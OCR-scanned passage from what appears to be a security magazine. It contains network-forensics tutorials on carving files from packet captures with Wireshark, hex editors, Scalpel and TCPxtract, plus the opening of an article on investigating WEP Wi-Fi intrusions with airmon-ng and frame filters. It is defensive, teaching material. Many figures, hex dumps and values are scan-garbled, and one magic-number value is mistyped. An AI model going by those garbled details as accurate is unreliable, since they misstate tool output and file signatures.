originally targeted for extraction. We do this by going back to the Content-Length field in Figure 4 to iden-
tify the size of the file we are looking for. In this case, the highlighted file in Figure 6 is the file we want to
extract with a size of 191,515 bytes.

M e e o e 0 —— o
Packet num Hostname Content Type Bytes  Filename
[ 10111 text/html 160
16 insl.opera.com application/vndaacp 433 xcms.asp
19 incl.opera.com 5 XCME.A5P
a ingl.opers.com 119 xems.asp
3 10011 text/htenl 4323 indechtml
61 10111 image/jpeg 8281 bglipg
n 10111 image/jpeg WS sydneygpg
100 operal -servedby.advertising.com 147 dst=Win_700
plic) vperal-servedby. sdvertising.com IHT dst=Win_700
10 epersd-servedby advertiang.cam 147 dst=Win_700
137 operad-cervedby.advertiting.com 147 dot=Win_700
158 10111 text/html 416 dagbok html
179 operal -servedby.advetising.com 1133 hine=1
185 operal-servedby.advertising.com 1133 bins=1
203 operad-servedby. advertising com 1133 bins=1
' 207 operad-sercedby.advertising.com 1136 bins=l I
it } 10111 et/ hitrnl 1263 dagbokhtmi
I 230 10111 teat/htrnl 2232 dagbok.htral
I 259 JLAES imagejpeg 963 DSCOTESEIPG
- 10111 imagefpeg 10730 DSCOTEZIIPG
a3 10111 image/jpeg 191515 DSCOTESH PG
e J E T = P = [ s_mc;q_—|

Figure 6. HTTP objects list

Click on the file in the list to highlight it and pressing Save As.

.
[ Wireshark: Save Object As .. (e

MName: DSCOTE5ENIE
Save in folder: |7 Desktop lz‘

Browse for other folders

[ sae ” e ]

.Figure 7. Wireshark: “Save Object As” window

Once DSCO07858.JPG is saved, we can now view the file as we normally would by double clicking the file.
We used this technique to extract a picture file from our packet capture. However, this technique can also be
used to extract any binary data from packet captures. Our carved out picture can be seen below in Figure 8.

Figure 8. DSC07858.JPG
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CARVING OUT RAW BINARY DATA

Over the last several years Wireshark enhancements have allowed forensic analysts the ability to use
the interface to carve file out of packet captures in much of the same ways as its automated counter-
parts. However, not all objects are accessible using this method. Suppose a user did not complete the
download of DSC07858.JPG or the file was corrupted during the transmission. The file would no longer
show up in the Wireshark HTTP objects list. In some cases that data must still be identified and eventu-
ally carved out. Suppose we know the name of the file we want to carve out. We can perform a search
for “DSC07858.jpg” by going to Edit > Find Packet or if default settings are used pressing CTRL+F.

Wareshart: Faed Pach [E=EER=)
C chot NN
| ~Find |

By: () Display filter (7) Hexwvalue @ String

Il || Fiter| | Dscoz8s8,pdl |

~Search In String Options—————————  Direction—
() Packet list Case sensitive © Up
@ Packet details || Character set: @ Down
(0 Packet bytes |ASCI[ Unicode & Non-Unicode IZ|

o) Lo

Figure 9. Find Packet Window

The “Find packet” window shown in Figure 9 will popup. We are looking for the string
“DSCO07858.jpg” and will need to perform a search through not only the packets, but the data
within the packets as well. This will ensure that we don’t miss any references to the file. Pressing
“Find” sends Wireshark on a quest to find the first packet with our string. We must now identify
if the selected packet contains the data that we are looking for by looking at the bottom section
of the Wireshark interface highlighted in Figure 10.

Din L% o Go Grsem Aevan Geivinn Trigbuey Do buereh i

BEUENN EERPs n++wTFL [ aaan gvmy o
Fam [

o Sourre [ pretes ongm te

58]
6z (0900 <70 6 2f)

sagELres (B b
21, Bat: Kyn 20
(100}, DSt 11,11 (30, 0.2.1)

st e bt (RS, sed: k. Ak

Figure 10. Wireshark GUI breakdown



Thanks to the search Wireshark automatically highlights the fields that our string search hit on.
Our string search highlights are in the Line-based text data section of the packet breakdown and shown
in the hexadecimal representation of the packet in the far bottom pane. Under default settings the select-
ed packet is highlighted in white. This can cause some confusion as the usual color of selected packets
is blue. We will now need to follow the TCP stream as we did before by clicking on packet 278 to highlight

it and right clicking from there click on “follow TCP stream”.

(ERw B i =

Strearn Content

GET /websidan/2004-07-Seawor |d/fullsize,/DSCO7858. PG HTTP/1.1

User-aAgent: Mozilla/d.0 (compatible; MSIE 6.0; windows NT 5.0) Opera 7.11 [en]

Host: 10.1.1.1
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Figure 11. The Follow TCP Stream Window

So, now we are back at the same TCP stream window we have previously seen. The entire conversa-
tion between the host and the webserver is shown here in raw form. So, we should be able to remove

the picture from this window, but how?

HEXIDECIMAL MUMBO JUMBO
WHAT JUST HAPPENED...

So far we know that we have a complete TCP conversation between two hosts that the host initiated
with a GET request over HTTP. We can see from the content type that our file is a jpeg file DSC07858.
JPG. We know that the file is somehow in this window, albeit a raw and unreadable form and the picture
is close to 191,515 bytes. Finally, from the color scheme that was mentioned earlier we know the picture

was sent to the home computer from the web server.

DATA ISOLATION

Here, we want to isolate only the data sent from the web server so that we can isolate the raw data of
the picture. At the bottom of the TCP stream window there is a drop down menu that allows us to isolate

the conversation in these terms.
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Figure 12. Follow TCP Stream, selecting the server-side conversation.

Now that we have just blue color text we can begin extracting the file from its raw form. Save this por-
tion of the conversation by going to “Save As” and naming the raw data file whatever you like. We will
now need to open this file in a hex editor so that we can erase the header portion of this conversation so
that all that remains is the data of the picture.

Open the raw data file to view the contents of the conversation that we saved. File headers are im-
portant because it lets the operating system know how to process the upcoming data. The Hex value
OxFFD8 signifies the beginning of jpeg images. We can search online for this information if you are un-
sure or if you are carving out a different file type than jpeg images.

CARVING THE DATA OUT

One of the nice things with many hex editors is that once you select the hex value OxFFD8 it also se-
lects the corresponding ASCII value. Now, we must erase the data before our OXFFD8 prefix by select-
ing the data we want to erase, right clicking, and clicking on “erase”. If done properly, the remaining
portion of the file should now be DSC07858.JPG. Save the data and close Fileinsight. The new file
that we have can now be given the proper file extension (.JPG). Once the file extension is changed
the file can be opened as usual. Additional file headers can be found at: http://en.wikipedia.org/wiki/
List_of file_signatures.
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Figure 13. Fileinsight and the OxFFD8 JPEG file header

CONCLUSION

Carving out binary data manually can be task intensive and is hardly the desirable choice when auto-
mated program like NetworkMiner can perform these tasks with ease. However, as with any automated
tool if the tool does not recognize the data it will not automatically carve it out for the analyst. Automated
tools work well for basic analysis. However, the more in depth your analysis takes you the less likely that
automated tools can help. This is a common occurrence when carving out data from malware or mal-
formed data and can mean the difference between a good and a great analyst.
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NETWORK BASED FILE
CARVING

by Gavin Stroy
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File carving is the name of the technique of pulling files out of

a stream of bytes without the use of a particular file system;
much like finding a word in a word search puzzle. Network based
file carving is used to extract files from saved network traffic
data that has been collected from tools such as Wireshark or
TCPdump. This is useful for extracting viruses to be analyzed,
identifying exfiltration, and forensic investigations.

What you will learn:

« File carving

» Scalpel and TCPxtract configura-
tion

» Network forensics

« Tool chaining

What you should know:

* Common protocols such as HTTP,
DHCP, IP, TCP, etc.

« Basic traffic capture using Wire-
shark

» Wireshark display filters

¢ Linux or Windows command line

ing the HTTP protocol. When a user enters a URL in the address bar

of a web browser, a GET request is made for a resource on the speci-
fied server. Once the server receives the request, and is able to deliver the
requested resource, it will respond with a 200 OK message along with the
requested resource.

Q simple example of file carving would be to use a file downloaded us-

Open up Wireshark, start a packet capture, and visit http://notepad-plus-
plus.org/download/v6.5.5.html. Select to download the Windows executable
for Notepad++. Once Notepad++ has been downloaded, stop the Wireshark
packet capture. We've been capturing everything that has traversed the net-
work to and from the capturing PC, therefore we can conclude that the bytes
to make up this same executable file are somewhere in our packet capture.
Save this pcap as we’ll be using it throughout the article.

Now, let’s find where our same executable can be found in the Wireshark
packet capture. Go to “Edit”, then “Find Packet”; this can also be done by
pressing CTRL+F for short. Select “String”, type in “Installer.exe” in the filter
area, and we want to search for that particular string in the “Packet details”.
Once Wireshark finds the packet containing the GET request, right click the
packet and select “Follow TCP Stream”. Note that the exact same string can
be found in the HTML of the website that is hosting Notepad++; keep search-
ing until the GET request for the executable is found. Wireshark should fil-
ter out packets belonging to that same conversation flow as well as open a
new window displaying the conversation between the browser and the server.
This is what the executable looks like on the wire while it's being transferred
between the client and server, a few HTTP headers and a lot of ASCII/non-
ASCII bytes.
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Figure 1. Packet search
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3826 31.51256200(102_ 168.1.108

2206000192168 1
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Figure 2. GET request for the image
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Stream Content

GET /notepadplus/6.5.5/npp.6.5.5.Installer.exe HTTP/1.1

Accept: text/html, application/xhtml+xml, =/*

referer: http://notepad-plus-plus.org/download,/ve. 5. 5. htm]

Accept-Language: en-Us

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; windows NT 6.1; wowe4; Trident/5.0)
Accept-Encoding: gzip, deflate

Host: download. tuxfamily.org

Connection: Keep-Alive

| HTTP/1.1 200 OK
Content-Type: aEp11cat10n/x—msd05—pr0gram
AccCept-Ranges: bytes
ETag: "1472039431"
Last-Modified: Thu, 06 Mar 2014 23:34:21 aMT
content-Length: 7624808
pate: Tue, 18 mar 2014 10:02:20 GMT
server: lighttpd/1.4.33

PEccccecocctoopaotooee S U o[BS
program cannot be run in DOS mode.

Entire conversation (7625405 bytes) E|
| Eind || Saveds || Pint |© asco EBCDIC Hex Dump C Amays ® Raw
I | Help | Filter Cut This Stream | l Close l

| i

Figure 3. TCP stream contents

At this point, we can carve the executable file out in a few different ways. The easiest way to carve out
the executable is actually from within Wireshark itself. Go to “File”, “Export Objects”, and then “HTTP”.
Here, Wireshark should open a new window with several files categorized by packet number, con-
tent type, size, and filename. In “Export Objects”, Wireshark by default searches through the captured
packet data and records this information for all HTTP file transfers; uploads and downloads. Find the
npp.6.5.5.Installer.exe and save the file. We can run the original executable within Windows and run the
newly carved executable to verify that the file we had extracted is in fact the same file. However, if this
were hypothetically a forensics investigation and we were carving out a virus; we would not want to run
the potential virus and infect our examining machine. Instead, to forensically verify that this is the same
file without running the executables, we would want to use an MD5 hash generator to compare the hash
values of the two files. For simplicity, we can visit hash.online-convert.com/md5-generator and generate
the MDS5 hash for the original file that was downloaded. Also note, if this were a forensics investigation we
would want to perform the MDS hash generation locally on the examining machine and not risk infecting
others. Performing the MD5 hash generation of the file original downloaded file, npp.6.5.5.Installer.exe,
gives Us: c124f3411c3e22a8cbc7ada51b6961f. We then compare the MD5 hash for the file that we had
extracted from Wireshark and can now confirm that they in fact the same file. Consider this file carved!

Your hash has been successfully generated.

hex: cl24f341l1c3e22abBcbc74ada51b6961 15
HEX: Cl24F3411C3EZ2RACRCT4RDASIB6961LE
h:oe:x: cl:24:f3:41:1c:-3e:22:pA:chb:c7:4a:dr:51:b6:96:11F

basegd: w3TzQRw+Ig]LxOralUbaWHw==

Figure 4. MD5 hash of the original image file


http://hash.online-convert.com/md5-generator
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MORE GENERALIZED FILE CARVING

At this point, network based file carving must seem really easy. Unfortunately, due to the nature of net-
works and networking protocols, this technique only works for a few protocols. In fact, Wireshark is only
aware of how to do this with HTTP, DICOM, and SMB protocols. If we were to try and carve out files that
had been transferred via FTP or instant messaging applications, we would not be able to do so by using
the same steps as the previous section. For this reason, we need a more generalized form of file carving.

For a more generalized method of carving out files, let’s try to carve out the same file but this time we will
assume that Wireshark doesn’t know how to do this by itself. Building off our previous section we will once
again use Wireshark to identify and assemble the packets containing the executable files data. Go to “Edit”,
then “Find Packet”; this can also be done by pressing CTRL+F for short. Select “String”, type in “Installer.
exe” in the filter area, and we want to search for that particular string in the “Packet details”. Once Wire-
shark finds the packet containing the GET request, right click the packet and select “Follow TCP Stream”.
Note that the exact same string can be found in the HTML of the website that is hosting Notepad++; keep
searching until the GET request for the executable is found. Wireshark should once again filter out packets
belonging to that same conversation flow as well as open a new window displaying the conversation be-
tween the browser and the server. For our purposes, we only care about the contents being sent from the
server to our client browser. In the drop down box, change the conversation list from the entire conversation
to the unidirectional traffic from the server to the client. This time, let's save the raw bytes as exec.dump.

Now that we have the file saved on our hard drive, we need to open it with a hex editor and clear out
the HTTP headers. We know that in the HTTP protocol, the reply headers are terminated by the hex
string 0x0D 0x0a 0x0D 0x0A. Open exec.dump in a hex editor and search for that string in the hex bytes.
The first instance of that termination string, and everything above it, belongs to the response header.
Delete these bytes. Everything else left afterwards belongs to our executable file. Save the remaining
bytes as a new .exe file such as exec.exe. By comparing the MD5 hash for this newly carved out file,
we can verify that this is the same executable file that had originally been downloaded by the client
browser. Once again, consider this file carved!

COffset(h) 00 01 02 03 04 05 06 O7 0% 0O OB OC OD QE OF

08
48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F 4B 0D HITF/1.1 200 CK.
OR 43 6F 6E 74 65 6E 74 2D 54 79 70 &5 3& 20 61 .Content-Type: a
70 70 6C €9 &3 €1 T4 €9 6F GE 2F 78 2D 6D 73 €4 pplication/x-msd
6F 73 2D 70 T2 6F &7 72 61 6D OD OA 41 63 63 65 os-program..RAcce
TO 74 2D 52 61 6E &7 65 T3 34 20 62 79 74 &5 T3 pt-Ranges: bytes
0D OL 45 54 61 67 3A 20 22 31 34 37 32 30 33 39 ..ETag: "1472033
34 33 31 22 0D OR 4C 61 73 74 2D 4D 6F 64 69 €6 431"..Lasc-Modif
69 65 64 3SA 20 54 68 75 2C 20 30 36 20 4D 61 72 ied: Thu, 06 Mar
20 32 30 31 34 20 32 33 3% 33 3¢ 3A 32 31 20 47 2014 23:34:21 G
4D 54 0D O& 43 6F 6E T4 65 G6E 74 2D 4C 65 6E &7 MT..Content-Leng
74 68 3R 20 37 36 32 3¢ 38 30 38 OD OR 44 61 T4 cth: TE24808..Dat
65 34 20 54 75 65 2C 20 31 38 20 4D 61 72 20 32 e: Tue, 18 Mar 2
30 31 34 20 31 30 3& 30 32 3A 32 30 20 47 4D 54 014 10:02:20 GMT
000D0 OD O 53 65 72 76 65 72 3R 20 6C €3 &7 €8 74 74 ..Server: lightt
0DDE0 70 64 2F 31 2E 34 2E 33 33 4D SR 90 pd/1.4.330.. Mz.
0DOFO 00 03 00 00 00 04 00 00 00 FF FF 00 00 B8 00 00 ......... Ferns
00100 00 00 00 00 OO0 40 00 00 00 OO0 00 00 00 00 00 00 ..... T
00110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  .uvvunurrnnvenns
00120 00 00 00 00 OO0 00 00 OO0 00 DO 00 00 OO0 OE 1F BA ......... B..... e
00130 OE 00 B4 09 CD 21 B8 01 4C CD 21 54 &8 63 73 20 .. .i1,.LiiThis
70 72 €F &7 72 €1 &D 20 63 61 6E 6E 6F 74 20 62 program cannot b
65 20 72 75 €E 20 €3 6E 20 44 4F 53 20 6D 6F 64 e run in DOS mod
§5 2E 0D OD OR 24 00 00 00 00 00 00 00 41 7B D1 e....$....... Bl
68 05 1& BF 38 05 1A BF 38 05 1A BF 38 OC 62 3C k..:8..:8..:8.b<
38 06 1A BF 38 OC &2 2C 38 14 1A BF 38 05 1& BE 8..:8.b,8..:8.
38 A9 1A BF 38 1E 87 15 38 09 14 BF 38 1E 87 25 B8@.;8.%.8..:8.
38 04 1A BF 38 1E 67 22 38 04 1A BF 38 52 69 63 B8..:8.%"6..:8
68 05 1& BF 38 00 00 00 00 00 0O 00 00 50 45 00 h..:8
00 4C 01 06 00 E4 E2 47 4F 00 00 00 00 00 00 00 :
00 ED 00 02 01 OB 01 OA 00 00 74 00 00 00 7& 07 .&........ T...z.
00 00 42 00 00 AF 38 00 00 00 10 00 00 00 90 00 ..B.. &.........
00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 ...B..eevnnven..
00 06 00 00 00 05 00 00 00 00 00 00 00 00 80 16 .uvvnuuersnsnn €.
00 00 04 00 00 00 00 OO0 00 02 00 40 85 00 00 10 ..vvuuue... Benns
00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00  .evnnnnenennen..
00 10 00 00 00 00 00 00 00 00 00 00 00 40 AC 00 .evnvunernnnn. @-.
00 B4 00 00 00 00 00 1% 00 BO 60 02 00 00 00 00 . ....... LR

Figure 5. Finding termination string in hex editor
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Cffset(h) 00 01 02 03 0% 05 06 07 O8 09 OA OB OC 0D OE OF
0 BESERIERIEE] oo 00 00 04 00 00 00 FF FF 00 00 [MEZ.. . ....... gy .

B8 00 00 00 00 00 OO 00 40 00 00 QO 00 Q0 00 00 ,.ceuwews Bovevnnn
00 00 00 00 00 00 Q00 Q0 OO0 00 OO0 CD 00 00 0D 00 .vcvvnvnnsnannns
00 00 00 OO0 OO0 OO0 OO OO0 OO0 OO0 OO0 QOO DD Q0 00 00 ....v.v.eann. B.

OE 1F BR OE 00 B4 09 CD 21 B8 01 4C CD 21 54 &8 ..°..- .11, LI‘TQ

69 73 20 TO0 T2 6F €7 T2 61 €D 20 €3 61 6E 6E &F is= pIDgram canno
T4 20 62 &5 20 T2 75 6E 20 €9 &6E 20 44 4F 53 20 t be rum in DOS
6D 6F 64 65 2E 0D OD QA 24 00 00 00 00 OO0 00 00 mode....$.......
41 7B D1 6B 05 1& BF 38 05 1A BF 38 05 1A BF 38 A{fik.

0C 62 3C 38 06 1R BF 38 0OC 62 2C 38 14 1A BF 38 .b<S.

05 14 BE 38 A9 1A BF 38 1E 87 15 38 09 1A BF 38 ..%8@.
1E 87 25 38 04 1A BF 38 1E 87 22 38 04 1A BF 38 .#38..
52 69 63 68 05 1n BF 38 00 00 00 OO0 00 OO0 00 00 Rich..
50 45 00 00 4C 01 06 00 E4 E2 47 4F 00 00 00 00 PE..L...88G0....
00 00 00 00 EO O0 02 01 OB 01 Q& 00 00 74 00 00 ...uBecuurrns t..
00 TA O7 00 00 42 00 00 AF 38 00 OO0 00 10 0D 00 .z...B.. B......
00 90 00 00 OO0 OO0 40 00 00 10 OO0 QOO0 00 02 00 00 ...... Bovevnnnn
05 00 00 00 O OO0 QOO0 OO0 O5 00 OO0 QOO0 00 Q0 00 00 ....veviinnnnnns
00 80 16 00 OO0 O4 OO OO0 OO0 OO OO OO 02 00 40 B .€............ B..
00 00 10 00 OO0 10 OO0 OO0 OO0 00 10 0D 00 10 00 00 ......cvvieunnnnn
00 00 00 00 10 OO0 OO0 OO0 OO0 OO0 OO0 OO0 00 00 00 00 ....uevvonunnnns
40 AC 00 00 B4 00 00 00 00 00 14 00 BO &0 02 00 @B-.. ...u... R
00 00 00 OO0 OO0 OO0 OO OO0 OO0 OO0 OO0 OO0 00 00 00 00 ....uevionnnnnns
00 60 OB 00 94 09 00 00 00 OO0 OO0 OO0 OO0 OO0 OO0 00 . .."...ceuennns
00 00 00 OO0 OO0 OO0 OO OO0 OO0 OO0 OO0 OO0 00 00 00 00 ....vevvonnnnnns
00 00 00 00 00 00 Q00 Q0 OO0 00 OO0 CD 00 00 0D 00 .vcvvnvnnsnannns
00 00 00 00 00 OO0 OO0 Q0 00 S0 00 CO DD 02 00 00 ..icevevansns B...
00 00 00 OO0 OO0 OO0 QOO0 OO0 QOO0 Q00 OO0 QD 00 Q0 00 00 ....vevvennennns
00 00 OO0 OO OO0 OO0 OO0 OO0 2E 74 62 786 74 00 00 00 ......... TEXT...
8Cc 72 00 0O OO0 10 OO OO0 OO 74 OO0 OO0 OO 04 OO0 00 CEr....... Covanns
00 00 OO0 OO OO0 OO OO OO0 OO OO OO OO 20 OO0 OO0 €0 ............ et
2E 72 64 &1 74 &1 00 00 &E 2B OO0 00 OO0 90 00 00 .rdata..mt......
00 2C 00 OO0 00 78 00 OO0 OO0 0O OO0 OO0 OO OO0 OO0 00 ., . ¢.EH.oeeruuwnnns

[T
D oo o
~ o
R

[ I W ]

..........
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00 00 00 00 40 00 00 40 2E 64 61 74 61 00 00 00 ....8..8.data...
] 9C 2B 07 00 00 CO 00 00 00 02 00 00 00 24 00 00 oee+...A....... H,.
] 00 00 00 OO0 OO OO0 0O OO0 OO0 OO0 00 OO0 40 00 00 CO ... veeennnnn @..a
00000240 2E 6E €4 61 74 ©1 00 00 00 10 OC 00 00 FO O7 00 .ndata....... 8..

Figure 6. Hex contents after editing

AUTOMATED FILE CARVING

This is a great place to be. We can now carve files that Wireshark doesn’t know how to natively carve
out. Our issue now is that doing so took a lot of work. We also need to address how to handle protocols
that we don’t exactly know about such as custom or proprietary networking protocols. To solve this, we
should use an automated file carver.

At the beginning of every file, the first few bytes act as a header which identifies that particular file for-
mat. These header bytes are known as “Magic Numbers”. For example, this is how the File command in
Linux is able to determine file types regardless of their file name. An actively maintained table of these
file signatures can be found at http.//www.garykessler.net/library/file_sigs.html.

Scalpel is an automated file carving utility uses file signatures to identify where exactly, in a stream
of bytes, a particular type of file is located and will automatically carve it out. This is very useful for disk
forensics but files streamed across networks are typically broken up across multiple packets each with
their own Ethernet and IP headers. However, we can use the “Follow TCP Stream” feature of Wireshark
to reassemble the information in the packets, save it to disk as a giant blob of bytes, and use Scalpel to
accurately carve out the file. The project page for Scalpel can be found on GitHub at: https./github.com/
machn1k/Scalpel-2.0.

From our more general method of file carving, we will extract the raw packet bytes in Wireshark and
save them to our hard drive. In Wireshark, go to “Edit”, then “Find Packet”; this can also be done by
pressing CTRL+F for short. Select “String”, type in “Installer.exe” in the filter area, and we want to
search for that particular string in the “Packet details”. Once Wireshark finds the packet containing the
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GET request, right click the packet and select “Follow TCP Stream”. Note that the exact same string
can be found in the HTML of the website that is hosting Notepad++; keep searching until the GET re-
quest for the executable is found. Again, Wireshark should filter out packets belonging to that same
conversation flow as well as open a new window displaying the conversation between the browser and
the server. This time, let’s save the unidirectional conversation from the server to the client browser in
raw bytes form as exec2.dump.

While Scalpel does come with a default configuration file, we are going to create our own to dem-
onstrate how easy it is to create and modify the file signatures it searches for. Browse to http://www.
garykessler.net/library/file_sigs.html and search the page with CTRL+F to search for “executable”.
Continue down until the “Windows/DOS executable file” section has been reached. Here we can see
that the magic numbers for a Windows executable file begins with 4p 52 90 00 03 and has no dedicat-
ed footer. Create a file called scalpel.conf and enter the information as show in Figure 7. A description
of how the configuration file is formatted goes as follows: From left to right; the extension of the file,
the second column is always “y”, the size in bytes (or longest expected size in bytes), header numbers
in hexadecimal, and trailer (if available) numbers in hexadecimal. Now run scalpel using the -c switch
for our configuration file and the -o switch for the output directory. Navigate to the output directory and
we notice that Scalpel has carved out an EXE file. Now a small quirk with Scalpel is that files without
a dedicated footer are appended with a null byte (\x00). To fix this, just open a hex editor and remove
that last null byte in the file. Once edited, the MD5 hash for the newly carved out file can be compared
against the MD5 hash of the original file. We can now verify that this is the same executable file that
had originally been downloaded by the client browser. This file has been automatically carved!

.l

root@lali: ~

th Terminal Help
1 1 f
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Opening t dump "
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Figure 7. scalpel.conf file and scalpel command

CARVING ON A NETWORK SCALE

Now, while Scalpel is great for carving out single files from network data, it doesn’t scale to multiple con-
versations or multiple files that are being transferred through the network. Thankfully, such a tool exists
and it is called TCPxtract.

TCPxtract is a wonderful tool that extracts files from network traffic based on the same file signatures
as Scalpel. One of TCPxtract’s strengths involve its ability to work on live network capture data without
the use of a saved packet capture in addition to being capable of working on saved pcap data. Addition-
ally, with TCPxtract’s ability to read a TCP streams, there is no need to isolate the exact conversation
that contains the file we would like to extract. However, to prevent TCPxtract from carving out every file
in the network capture, we will want to narrow the list of conversations. The project page for TCPxtract
can be found at http://tcpxtract.sourceforge.net/.
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We know the IP address of the server that we had quarried so we will use this as our criteria to limit the
number of files to be carved out. In a small packet capture this may not be an issue but for an enterprise
level network traffic capture, there could be a lot of unnecessary information that should be filtered out
before file carving is attempted. With our packet capture in Wireshark, enter the IP address of the server
as a display filter to limit displayed packets. Go to “File”, “Export Specified Packets”, then export all dis-
played packets into a new pcap file. This will be the saved capture file that we will run TCPxtract against.

Like we had done with the Scalpel configuration file, we will create our own configuration file as prac-
tice instead of using the one that comes by default with TCPxtract. As we had seen earlier, the magic
numbers for a Windows executable file begins with 4D 5A 90 00 03 and has no dedicated footer. Create
a new file called tcpxtract.conf and enter the information as shown in Figure 8. At this point the format-
ting of the configuration file should be easy to understand and is only slightly different from the Scalpel
configuration file. Now run TCPxtract using the -c switch for our configuration file and the -f switch for
our input pcap file. Listing the current directory, we will notice that TCPxtract has carved out an EXE file.
Once again, compare the MD5 hash for the newly carved out file against the MD5 hash of the original
file. We can now verify that this is the same executable file that had originally been downloaded by the
client browser. This file has been TCP extracted!

root@kali: ~

File Edit View Search Terminal Help

68.1.108:8385],

rting to 0

i:~#

Figure 8. tcpxtract.conf file and tcpxtract command

SUMMARY

Network based file carving is a very useful forensics technique and sometimes it’'s not enough to use just
a single tool. Both understanding the methodology and being able to chain tools together are equally im-
portant. Even though this article focused on carving only a single downloaded executable file, the meth-
odologies are identical for extracting any other type of file including viruses, image files, videos, and doc-
uments. Feel free to check out other file carving tools and pcap samples to practice on. Happy hunting.

ON THE WEB
http: //blogs cisco.com/security/network-based-file-carving/ — more information on network based file
carving
https://github.com/machnik/Scalpel-2.0 - Scalpel project page
http://tcpxtract.sourceforge.net/ — TCPxtract project page
http://www.garykessler.net/library/file_sigs.html - file signature database
http://forensicscontest.com/ — network forensics puzzles
http://www.netresec.com/?page=PcapFiles - pcap sample files
http://www.honeynet.org/node/504 — honeynet.org 2010 forensics challenge
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CATCHING GHOSTS OF
THE AIR

INVESTIGATING TRADITIONAL WEP ATTACKS

by Nipun Jaswal, CISE, C|[EH, OSWP, M.tech

Wireless attacks are so common these days, and if a hacker

finds a WEP enabled network, there is no bigger jackpot for
them. People have become smart and tend to use a WPA/WPA2
enabled network these days, but still vulnerabilities in the
wireless architecture seem yet unsolved. In this article we will
look at those traditional WEP attacks and will try investigating
who, actually who, tried to break into the network and what
activities they performed? Basically we will reconstruct the entire
crime scene that happened over the wireless network.

What you will learn:

» Step By Step guide to investigat-
ing attacks

* What to look for and what to ex-
clude from capture files

* Understanding wireless traffic
down to the packet level

What you should know:

* Basic familiarity with wireless
cracking

 Basics of TShark/ Wireshark.

« Familiarity with Packet Structures

look around for vulnerable wireless networks in their cars and roam

around the cities. That’s basically war driving but the thing here to
take a note of is that you might never know who actually broke into your net-
work, since the hacker does not have to plug in a wire from your network into
his system. You might never know in which corner of the building this mali-
cious guy is performing some serious hacking onto your network, or might be
sending malicious and dangerous emails which might lead you to jail because
of your network being used by the attacker. Wireless is most vulnerable when
it comes to WEP encryption standard, now in this very article we will look at
various methodologies used to track back that malicious guy and see what
actually he is performing on the network.

THE SCENARIO

My friend ‘Mike’ called me up last Monday and told me that he has been expe-
riencing very slow internet speed. But when | asked him about his data plan
he told me that he has recently opted for 8MBps connection. | advised him to
look for some open ports for cross checking if there is anything malicious go-
ing on in the background. He clearly told me that his anti-virus is updated on
the daily basis also he has the latest firewall installed in his system. | asked
him to shut his laptop down and try browsing the net from his mobile phone,
but again he faced the same problem. He also told me that last month he was
away but still his entire bandwidth quota was assumed to be full.

Wireless cracking is so common these days that hackers used to
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As soon as he said this, | knew what exactly happened. Someone has the access to his Wi-Fi passkey
and is using his internet connection for free.

Next thing | advised to my friend was to change the passkey and told him to analyze the speed. He
did exactly that and his problem was resolved, he got much higher speeds which were according to his
data plan.

| got another call from him in the afternoon stating that the same problem has occurred again. Now,
| was pretty sure that some malicious player was around. | asked my friend to turn his network off and
| told him | was going to visit his place soon.

| reached his place in the evening, and | booted up my laptop which is preconfigured with Kali Linux.
Meanwhile | asked my mate to change the passkey again and he changed the key. | started my wireless
card in the monitor mode:

root@Apex:~# airmon-ng start wlan0 5

Found 2 processes that could cause trouble.

If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-8

PID Name

2489 NetworkManager

2730 wpa_supplicant

Interface Chipset Driver

wlan0 Broadcom b43 - [phy0]
(monitor mode enabled on mon0)

Figure 1. Monitor Mode

Then | started analyzing the network using Wireshark.

Start

Choose one or more interfaces to capture from, then Start

| |

2 wlan0 =l

. H

i/ Linux netfilter log (NFLOG) interface: nflog
[ | ()

Figure 2. Capture Interface

However, | do not know the new key set by friend at this point in time. Now, to start the wireless card in
monitor mode, open the terminal in Kali linux/ Backtrack. And type in:

#airmon-ng start wlanO 5

This command instructs wireless interface card to analyze all the traffic coming only in channel 5 fre-
quency as my friend’s network was using channel 5.

Now, | asked my friend to continue his work on his network as he was busy mailing his business emails
and variety of other things on the network. After half an hour, my friend started experiencing the same
network bandwidth problem, which confirmed the breach again. | stopped the capture of Wireshark for
more packets and started to analyze the breach.
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FINDING ASSOCIATIONS
The very first step is to find out how many clients are actually sent the association packets to the Access
Point (AP).
Filter: lean.fc.type_subtype:=OxOO C | Expression...
Mo, Time Source Destination
794 66. 449398000 SonyMobi_1l:cc:79 Tp-LinkT_c3:81:d6
3616 183.321578000 spple_22:26:bd Tp-LinkT_c3:81:d6
25859 1225.976470000 Apple_82:26:bd Tp-LinkT_c3:81:d6
95267 1598.893431000 24:1d:52:03:49:e9 Tp-LinkT_c3:81:d6
95416 1605.411543000 24:fd:52:03:49:e9 Tp-LinkT_c3:81:d6
> _Fram 84 by : _
> Radiotap Header w0, Length 28
~ IEEE 802.11 Association Request, Flags: ........ C

Type/Subtype: Association Request (0x00)

P Frame Control: Ox0000 (Normal)
Duration: 314
Destination address: Tp-LinkT_c3:81:d6 (a0:f3:cl:c3:81:d65)
Source address: Tp-LinkT_8d:bZ:9a (f4:ec:38:8d:b2:9a)
BSS Id: Tp-LinkT_c3:81:d6 (a0:f3:cl:c3:81:d6)
Fragment number: O
Sequence number: 3

P Frame check sequence: 0Oxe345593a [correct]

~ IEEE 802.11 wireless LAN management frame
I Fixed parameters (4 bytes)
P Tagged parameters (26 bytes)

Figure 3. Association Packets
We can find this by typing the filter:
Wlan.fc.type subtype==0x00

This will display all the clients who sent an association request. Here 0x00 denotes association type re-
quest. As we can see from the screenshot above it is very clear that we have the following devices:

* Sony Mobile (Known)

* Apple Device (Known)

* TP link (unknown)

+ 24:fd:52:03:49:€9 (unknown)

The known devices are the property of my friend but we also have here two unknown devices which con-
firm the breach.

Let’s investigate further and see what else evidence we can get. Now we can further confirm that only
the above listed devices were able to successfully associate. We can apply the following filter:

wlan.fc.type subtype==0x01 && wlan mgt.fixed.status code==0x0000

0x01 denote association response and status code denotes the successful association in the above com-
mand. In our case, all the devices have successfully associated so we skip its screenshot.

FINDING ENDPOINTS

Next step is to check how much data has been transferred by all the players in the network and find out
who transferred the maximum. As you might know that in case of WEP enabled networks, the thing which
is required to crack the key is lots of data. So let’s see who has transferred what amounts of data.



